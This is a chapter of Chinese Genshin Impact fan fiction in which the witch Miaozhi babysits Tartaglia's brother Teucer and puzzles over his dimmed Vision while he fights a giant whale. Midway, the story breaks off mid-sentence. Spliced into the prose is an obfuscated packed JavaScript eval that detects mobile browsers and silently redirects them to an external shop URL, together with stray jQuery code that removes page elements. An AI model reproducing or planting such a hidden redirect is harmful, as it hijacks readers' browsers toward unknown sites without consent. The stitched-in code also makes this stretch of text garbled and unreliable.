缪知被气到笑出声。

    让她一个魔女去照顾看起来不到十岁的小孩?

    虽然缪知这是第一次见托克,但她用脚趾头想都知道这个孩子不好应付。

    她只能说,这孩子还是太幸运了点。

    如果他是出生在极恶骑家,每天被扔在深渊里历练,忙着应付那些魔物都来不及,就更不用说有时间独自一个人跑几个国家去找哥哥了。

    “帮不了。”

    缪知偏开头,视线和在偷看这边的雀儿对视上。

    雀儿假笑一下,立马心虚地低头装作在干活。

    “不要这么绝情嘛,缪知。”达达利亚把吸管调整好位置,重新移了过去,被提前预判的缪知伸手挡住。

    他于是放弃地把椰奶放回木桌上,一脸期待地转移话题:“怎么样,好喝吗?”

    缪知原本想习惯性回一句“不好喝”,但不知道为什么,被那灼热的视线注视着,话到嘴边突然变成了一句有些含糊的“还行”。

    “老板喜欢喝白开水。”好心观众雀儿在一旁解释。

    “这样啊……”

    缪知嫌达达利亚太高挡住了屋外的光线,于是提议道:“你可以找讨债人帮你照顾弟弟。”

    讨债人是达达利亚的属下,肯定会对托克百依百顺。加之又有些身手,完全不用担心他保护不好托克。

    “但是……这种事怎么看都还是拜托伙伴比较靠谱吧!”达达利亚摊手感叹道。

    因为这个陌生的称呼,缪知表情微微愣住。

    她拧眉,完全无法理解达达利亚的教育理念,“他应该不是第一次跑出来找你吧?你一味地找人保护他、照顾他,为什么不直接把自己的身份向他坦明,再教他自保的手段?”

    其实缪知的语气称不上冰冷,甚至连串问题问出口语气都没什么起伏,但雀儿就是害怕地缩了缩脖子。

    老板这么敢问,待会儿不会跟这执行官打起来吧?

    达达利亚愣了几秒,无奈地轻笑一声,嘴边扬起温柔的弧度,“儿童时期的梦总是很难得的。既然人避免不了长大,那作为哥哥的我,有义务帮他编织一个美好的童年……毕竟,被弟弟妹妹依赖,是很幸福的一件事!”

    雀儿扶额,论熊孩子出现的原因。

    莫名地,缪知脑海里闪过哥哥的身影,那些久远的话语在那一瞬间开始回闪。

    「没有人压力我,缪知,哥哥不觉得疲惫。」

    「我一直保护这个国度,是因为你在这里呀。毕竟,有妹妹的地方就是家。」

    “只有愚蠢的哥哥才会觉得自己一个人承担就行……”缪知握紧拳头脱口而出。

    雀儿心中警铃大响,她紧张地看好门的位置,随时准备跑路。

    而被莫名抨击的达达利亚不解地“诶”了一声。

    随后,缪知反应过来,轻轻呼出一口气,“我会看好他。给你两天的时间处理你那些破事,两天后你没回来,我会把托克扔到大街上。我没有心软,这只不过是……还你个人情!”

    说到后面,缪知的语速开始微微变快。

    身为战士的达达利亚敏锐地察觉她有些不对劲,但又说不出来原因。

    “两天吗……”达达利亚的嘴角垂下来,很快又重新振作,“没问题,我会尽力的!”

    他走出卷轴店,跟沉迷于弹弓游戏的托克交代一番,起身去和属下汇合。

    相比起常年冰雪的至冬而言,璃月的气温较为恒定,即使是傍晚时分,天色也没有完全黯淡下来,能看见被晚霞晕染的地平线和偶尔飞过空中的鸟类。

    上次达达利亚被队长带着去参加桑多涅的茶会就是傍晚时分。

    说到桑多涅,达达利亚突然又想起了缪知刚才突然语气加快的那种违和感。

    达达利亚跟桑多涅气场不合,桑多涅经常莫名就对着他加快语速说话,还一副想杀了他的样子。

    一开始,达达利亚觉得缪知和桑多涅有些像。

    但现在想来,他的伙伴果然还是更有意思!

    不过……缪知到底为什么会突然语气加速呢?

    想不明白。

    算了,下次找个机会问问桑多涅吧!

    虽然她应该不会告诉他……

    *

    黯淡无光的神之眼安静地摆在缪知手心,她撑着下巴有些想不明白,随手端起桌上的杯子喝了一口。

    甜甜的。

    是达达利亚刚才喂给她的那瓶椰奶。

    确实比茶和咖啡都要好喝。

    缪知又喝了几口,抬头对上雀儿“我就知道没有人能拒绝椰奶”的表情,后背微微僵硬,尽量没什么表情地解释道:“……没有白开水好喝。我、我这是不想浪费。”

    雀儿连连点头,“我懂!老板是一生勤俭节约的璃月人!”

    弹弓击中树上的鸟,激起阵阵树叶和灰尘掉落,屋外很快响起闻卉生气的声音,母子俩的脚步绕着花坛跑来跑去。

    等到玩伴都被家长喊回去,托克才依依不舍地回来,左手抱着独眼小宝,右手拧着鲸鱼玩偶。

    他打量着木桌前用毛笔涂涂画画的卷轴老板,兴致不高地坐在椅子上。

    虽然哥哥说缪知是他的伙伴,是可靠的姐姐,但……

    他还是更想跟哥哥待在一起。

    小孩子不会演戏,心思都摆在脸上。缪知当做没看到,带托克去万民堂一同沉默不语地吃完饭,又把他带回了店铺。

    “有一个还不错的游戏。”缪知说完,并不意外地没有得到托克的反馈。

    她把纸放在桌上,讲述规则:“把1到9,九个数字填进去。每一行、每一列以及每个小格子里都有且只有一个1-9。你能做出来吗?”

    托克抬头看了一眼纸张,抱着独眼小宝没说话。

    缪知把毛笔放在笔搁上,“我听达达利亚说他的弟弟很聪明,该不会是在骗我吧?”

    “我哥哥才不会骗人呢!”

    托克拿起毛笔,把独眼小宝放在桌子上,亮晶的眼睛里闪烁着认真的光芒,完全忘记自己不久以前还在抱怨“哥哥又说话不算数”。

    一样的发色和瞳色,缪知总有一种幻视小孩版达达利亚的错觉。

    因为她出的数独题比较简单,托克没用多久就写出来了,甚至骄傲地双手叉腰仰头等她表扬。

    缪知直接无视,反手把加大难度的题盖在上面。

    这样一来一回,托克渐渐答得有些力不从心,但他又不愿承认“达达利亚的弟弟不聪明”,于是硬着头皮苦思冥想。

    再之后,油灯燃了很多,托克慢慢地困得直把下巴搁在纸上,没多久就歪着脑袋睡着了。

    他的脸上沾着墨,鼻子边上有一圈淡淡的雀斑。

    达达利亚倒是没有雀斑。

    缪知起身,幽幽地叹了口气,她没有跟别人同床共枕的习惯,更加不可能把床让出来。

    小孩这么年轻,趴桌上睡一觉应该也不会影响身体生长。

    但十分钟后,缪知还是在自己房间里用厚被子打了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804671|210680||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个地铺,把托克抱了上去。

    第二天一大早,醒来的托克闷闷不乐的,他正准备问哥哥的动向,缪知就指着外面,“闻汀来找你了。”

    “老板还真是拿小孩子很有办法呐!”雀儿连连感叹,“而且小孩子都很喜欢你……”

    喜欢她吗?

    缪知不这么认为,但也懒得反驳这种说法。

    如她所料,第二晚托克开始抗拒玩数独游戏了,但缪知有的是办法,随手就拿出了昨晚用卷轴做的一百关「嘟嘟可炸鱼」游戏。

    两人熬鹰般地在桌子旁坐到天亮。终于通关的托克带着黑眼圈开心地蹦起来,没多久就倒地铺上睡着了。

    但是达达利亚并没有如约回来。

    缪知看着手心黯淡的神之眼,莫名有些烦躁。

    “老板,要不要我把托克扔大街上?”雀儿牢记老板和公子的约定,一脸严肃地凑过来问。

    “无聊的话,你去跟着剑匣镖局去走镖、测试「信息卷轴」的效果。”

    雀儿立马摇头,“没有没有,我很忙!”

    真是奇怪……

    她还以为老板心情不好是因为带小孩带烦了呢。

    第三天,托克在缪知的“盛情邀请”下,把他来璃月找哥哥路上发生的事情说了一遍。

    第四天,缪知简化了自己的身份,给他讲了一些其他星球的故事。

    第五天,好几天没见到哥哥又待在陌生地方的托克有些情绪崩溃,缪知只能半夜去把闻汀拧了过来。

    油灯在房间里投下飘飘晃晃的光影,托克和闻汀在地铺旁玩双人版「嘟嘟可炸鱼」游戏,缪知则继续研究神之眼。

    每个星球都有独特的力量和势力构成,缪知对元素力的了解几乎都是从璃月人口中得知的。

    如果说神之眼是神明回应人类愿望时出现的产物,那它变暗大概率只有两种可能:拥有者失去愿望或者死亡。

    不过这都是缪知的猜测。

    但假设达达利亚的神之眼变暗跟这两者都没有关系……

    缪知的脑海里浮现出一个有些离谱的答案。

    会跟吞星之鲸有关系吗?

    另一边,穿着魔王武装的达达利亚在异空间里跟吞星之鲸缠斗。

    他的脚下是看不到边际的星辰地面,面前是巨大的鲸鱼。

    毫无疑问,这是没什么胜算的一战,但达达利亚越打越兴奋,面具下的脸甚至扬起一抹嗜血的邪笑。

    巨鲸的身躯大到几乎能覆盖整个空间,四只鱼鳍像蝴蝶一样扇动,它无差别攻击面前的一切事物,张开嘴就朝达达利亚扑过来。

    即将被吞没时,达达利亚的身影紫色闪电般划过空中。

    躲开后,达达利亚没有犹豫,握紧手里雷属性的长枪,一个纵身就回头击中吞星之鲸的腹部,将其掀翻在地。

    吞星之鲸失去重心砸在地上,发出愤怒而不甘的长啸,下一秒,它的整个身体融进地面,消失在达达利亚眼前。

    四周静悄悄的,连星辰的流动似乎都变慢了。

    但达达利亚知道,巨鲸并没有死。

    因为它这种装死后偷袭的伎俩,已经不知道用了多少次了。

    达达利亚视线敏锐地往后瞟,一个躲避瞬移到空中,因为长时间战斗有些力竭,手臂差点被巨鲸咬到。

    “啧……”达达利亚看了一眼自己完好无损的衣袖,又凑近闻了一下,确认后才松了口气。

    “还好没被你咬到……不然她闻到这血腥味又该嫌弃了。”